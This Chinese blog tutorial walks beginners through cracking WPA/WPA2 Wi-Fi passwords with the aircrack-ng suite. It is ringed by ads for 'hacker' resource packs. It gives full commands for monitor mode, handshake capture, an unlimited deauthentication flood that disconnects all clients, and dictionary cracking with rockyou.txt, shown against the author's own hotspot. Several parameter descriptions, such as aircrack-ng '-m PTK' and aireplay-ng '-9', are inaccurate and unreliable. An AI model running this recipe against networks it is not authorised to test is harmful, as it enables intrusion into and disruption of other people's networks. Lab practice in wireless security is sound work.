首页 > 其他分享 >一文教你用黑客技术 aircrack-ng破解wifi密码!网络安全零基础入门必看教程

一文教你用黑客技术 aircrack-ng破解wifi密码!网络安全零基础入门必看教程

时间:2024-11-14 15:47:36浏览次数:3  
标签:网络安全 必看 攻击 教你用 ng 网卡 黑客技术 数据包 aircrack

前言

这是小强给粉丝盆友们整理的网络安全渗透测试入门阶段无线安全渗透与防御教程

喜欢的朋友们,记得给我点赞支持和收藏一下,关注我,学习黑客技术。

1.Aircrack-ng简介

Aircrack- NG是一个完整的工具来评估Wi-Fi网络安全套件。

  • 捕获:airodump-ng:用于捕获无线网络数据包;

  • 攻击:aireplay-ng:用于数据包注入和重放攻击;

  • 破解:aircrack-ng:用于破解 WEP 和 WPA/WPA2 密码;

  • 管理:airmon-ng:用于管理无线网卡和监视模式的切换。


我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

1.1 airdump-ng

airdump-ng 是 Kali Linux 系统中的一个无线网络分析工具,主要用于扫描周围的无线网络,并收集有关这些网络的信息,包括 SSID、MAC 地址、信道、加密方式、强度等。您可以使用不同的参数来优化扫描和显示过程。

下面是一些常用的 airodump-ng 参数:

  • -a:以 ASCII 码模式显示访问点和客户端名称

  • -c:设置要监视的 WiFi 频道号

  • -d:启用显示详细数据包信息

  • -h:隐藏未广播 SSID 的访问点

  • -w:指定输出文件名

  • –output-format:指定输出文件的格式(csv、kismet、gps、gpsxml 等)

  • –essid-regex:筛选符合正则表达式的 SSID

  • –write-interval:指定写入文件的时间间隔

  • –bssid:筛选指定 BSSID 的数据包

读取数据:

BSSID – Wi-Fi的Mac地址

PWR – 信号强度

Data – 监听期间流量总和

CH – WI-FI所用信道

ENC – 加密算法

ESSID – Wi-Fi名称


1.2 aireplay-ng

aireplay-ng 是 Kali Linux 系统中的一个无线攻击工具,可以用于注入数据包、生成恶意流量以及进行身份伪装等多种攻击。通过使用不同的参数,您可以选择不同的攻击方式和目标,

以下是一些常用的 aireplay-ng 参数:

  • -0 0:表示使用 Deauth 攻击,

  • -1:进行身份欺骗攻击

  • -2:对 WPA/WPA2 加密方式的网络进行攻击

  • -3:生成 ARP 请求并重放流量

  • -4:以混杂模式发送关联请求和数据包

  • -5:生成特定类型的数据包

  • -6:生成 Deauth 攻击流量

  • -7:生成广播 ARP 请求

  • -9:生成 RTS 和 CTS 数据包来消耗 AP 和客户端上的 CPU

例如,以下命令将向名称为 wlan0mon 的网卡发送 Deauth 流量来断开与目标 BSSID 的所有客户端的连接:

aireplay-ng -0 0 -a 00:11:22:33:44:55 wlan0mon  

-0 0 表示使用 Deauth 攻击,(后面的0表示攻击次数,0为无限次)

-a 指定攻击目标的 BSSID 地址,

wlan0mon 是要使用的网卡名称。

还有一个常用的操作是,使用 aireplay-ng 向某个 AP 发送大量的探测请求,以便跟踪设备的位置或收集周围网络的信息。

以下命令将向名称为 wlan0mon 的网卡发送探测请求,以查询周围可用的无线网络:

aireplay-ng -9 wlan0mon  

这个命令会发送一组数据包,其中包括 RTS 和 CTS 请求。这些请求将被发送到周围的 AP,从而产生 CPU 负载并帮助您确定 AP 的位置和数据库信息。


1.3 aircrack-ng

aircrack-ng 是 Kali Linux 系统中最常用的无线网络破解工具之一,它可以利用已捕获的 WPA/WPA2 握手包进行破解。以下是一些常用的 aircrack-ng 参数:

  • -w:指定密码字典文件

  • -b:指定要攻击的目标 BSSID 地址

  • -e:指定要攻击的目标 SSID 名称

  • -f:强制使用指定文件的格式

  • -m:选择攻击方法(对于 WPA2 加密,使用 “PTK” 选项)

  • -n:忽略指定字符集中的字符

  • -t:设置尝试的最大次数

  • -q:启用精简模式

  • -s:跳过指定数量的密码字典条目

  • -D:启用调试模式

  • -p:指定密钥文件的后缀名

例如,以下命令将使用 rockyou.txt 字典文件对名为 target 的 WLAN 进行字典攻击:

aircrack-ng -w rockyou.txt -b 11:22:33:44:55:66 target.cap  

其中 rockyou.txt 是密码字典文件,11:22:33:44:55:66 是要攻击的目标 BSSID 地址,target.cap 是已捕获的握手包文件。

如果您知道要攻击的 Wi-Fi 网络的 SSID,可以使用 -e 选项指定名称。例如,以下命令将对 SSID 为 MyWiFi 的网络进行攻击:

aircrack-ng -w rockyou.txt -e MyWiFi target.cap  

在破解 WPA2 加密的无线网络时,您可以使用 -m 选项选择攻击方法。

例如,以下命令将使用“PTK”攻击方法破解 WPA2 网络:

aircrack-ng -w rockyou.txt -b 11:22:33:44:55:66 -m PTK target.cap  

这是一些常用的 aircrack-ng 参数,不同的参数可以实现各种攻击方式和目标。使用它时请确保您已获得适当的授权。


2.Deauth攻击

Deauth 攻击是一种用于无线网络的攻击方式,通过向无线网络设备(如 Wi-Fi 路由器或连接到该网络的设备)发送 Deauthentication 数据包来中断目标设备与 Wi-Fi 网络之间的通信。

Deauth 攻击是利用了 802.11 协议中的漏洞,攻击者可以通过模拟目标设备与 Wi-Fi 网络之间的身份验证交换从而抵消目标设备与无线网络之间的连接。虽然这种攻击可能会干扰合法用户的网络连接,但它也是一种有用的攻击方式,特别是在安全测试和研究方面。

在 Kali Linux 中,可以使用 Aireplay-ng 工具来执行 Deauth 攻击。

以下是一些常用的 Aireplay-ng 参数:

-0:指定使用 Deauth 攻击

-a:指定要攻击的目标网络的 BSSID

-c:指定要攻击的目标设备的 MAC 地址

-e:指定要攻击的目标网络的 SSID

例如,以下命令将向名为 WLAN 的网络发送 Deauth 攻击流量,并抵消所有连接到该网络的设备:

aireplay-ng -0 0 -a <WLAN BSSID> wlan0mon  

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

3.aircrack-ng工具破解无线网络密码

使用aircrack-ng工具集实现对某一WPA/WPA2加密的无线网络密码破解**。**

步骤一:虚拟机连接实验需要用到的网卡

Ralink 802.11

步骤二:设置网卡为监听模式

实验用到的是rt5370芯片网卡,使用airmon-ag查看网卡信息

设置为监听模式airmon-ng start wlan0,可以查看到监听模式网卡名字变成了:wlan0mon

杀死可能对网络通信抓包造成影响的进程

airmon-ng check kill


步骤三:使用wlan0mon网卡扫描附近wifi

airodump-ng wlan0mon

可以查看到我们攻击的自己手机热点:姐姐能给我微信吗

密码:88888888

对应的ch(信道):1

MAC地址:76:87:4E:74:34:06

步骤四:抓取握手包并保存为CAP文件

airodump-ng -c 1 --bssid 76:87:4E:74:34:06 -w /home/gyp-202031070222/桌面/wifi wlan0mon

另外开一个终端,注入数据包(Deauth洪水攻击)发送认证数据包,获取握手等数据,

aireplay-ng -0 0 -a 76:87:4E:74:34:06 wlan0mon -D

注意:这个时候连接的热点的设备断开连接,会自动请求连接(建议大家手动将断开的设备进行二次连接),不要问我是怎么知道的,

进行重新连接后,就可以活到相应的握手数据包,必须要抓取到握手数据包!!!!

步骤五:使用kali上自带的字典进行密码破解

kali上自带字典足够用了,当然你的密码如果太太太复杂建议自己创建一个密码字典。

字典目录:/usr/share/wordlists/rockyou.txt

使用:gzip -d /usr/share/wordlists/rockyou.txt.gz进行解压使用。

对数据包进行密码破解,

aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/gyp-202031070222/桌面/wifi-01.cap

破解出密码为:88888888

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

标签:网络安全,必看,攻击,教你用,ng,网卡,黑客技术,数据包,aircrack
From: https://blog.csdn.net/A1353192296/article/details/143746143

相关文章

  • 黑客技术渗透测试零基础入门教程—一文讲清什么是内网渗透!
    前言这是晓晓给粉丝盆友们整理的网络安全渗透测试入门阶段内网渗透与防御教程喜欢的朋友们,记得给我点赞支持和收藏一下,关注我,学习黑客技术。一.什么是内网渗透内网渗透是指攻击者已经进入了目标系统的内部网络,通过侧信道攻击、横向渗透等方式进一步控制系统,获取敏感信息......
  • 外贸新手必看:20款谷歌工具插件推荐!
    谷歌开发客户大部分业务员都在用吧,今天推荐20个谷歌工具插件,助力外贸拓客,希望对大家有帮助。以下插件可以在Chrome网上应用店搜索安装到扩展程序。1.Hunter-电子邮件查找器Findemailaddressesfromanywhereontheweb,withjustoneclick.可以在网站上快速找到......
  • 8条项目管理知识库,小白必看!
    对于项目管理的新手来说,理解项目管理的基本概念和流程是成功的第一步。以下是8条项目管理知识库,帮助小白从基础开始逐步提升自己的项目管理能力。1.项目管理的五大过程组项目管理的核心是五大过程组,它们是:启动过程组:确定项目的目标、范围、资源需求和项目团队,制定项目章程。......
  • 手把手教你用Coze零代码搭建一个智能搜索智能体,高时效性、保姆级!
    随着大模型技术的发展,越来越多的技术开始涌现,从聊天助手,到智能体,再到工作流,最后到三者的整合。大模型技术朝着更加智能化、通用化、个性化的方向发展,为人们的生活和工作带来了更多的便利和创新。今天,手把手教大家如何通过Coze零代码搭建一个智能搜索智能体,能够根据你的关键......
  • 2024 年产品经理必看的项目管理工具:互联网行业产品经理有哪些选择?
    一、产品经理与项目管理工具的紧密关联产品经理在项目管理中扮演着至关重要的角色。他们负责产品从概念到上市的全过程,需要掌控各个环节的进度,确保产品按时按质交付,满足用户需求。在这个过程中,项目管理工具成为了产品经理的得力助手。产品经理需要进行项目规划,明确项目的目标、......
  • 自学网络安全(黑客技术)2024年 —100天学习计划
    ......
  • 2024年最优秀的10款项目管理工具,项目经理必看!
    在2024年,随着企业的数字化转型,项目管理工具变得越来越多样化,涵盖了从敏捷开发、团队协作到复杂企业项目管理等各类需求。以下是10款值得项目经理关注的优秀项目管理工具,它们涵盖了不同规模和需求的团队,帮助提升团队效率、项目透明度及交付质量。1.JiraJira是一款强大的项目管......
  • 超详细!ComfyUI 全方位入门指南,初学者必看,附多个实践操作
    本文正文字数约8300字,阅读时间20分钟。如果按照文章实操一遍,预计时间在半小时到两小时不等。我还是推荐在自己电脑上自行搭建一套GUI(也就是用户图形界面)来学习和使用StableDiffusion,也就是本文即将介绍的ComfyUI。本文将为你提供一份全面的ComfyUI入门指南,涵盖......
  • 黑客技术自学网站(非常详细)零基础入门到精通,收藏这篇就够了
    七个合法学习黑客技术的网站,让你从萌新成为大佬_黑客网合法的学习网站,以下这些网站,虽说不上全方位的满足你的需求,但是大部分也都能。能带你了解到黑客有关的技术,视频,电子书,实践,工具,数据库等等相关学习内容。以下是七个合法学习黑客技术的网站:1.HackThisSite(https://www......
  • Vue+CSS 炫酷新年特效教程:极光背景+彩带+粒子动画 用 Vue 和 CSS 动画打造 2025 新年
    效果图......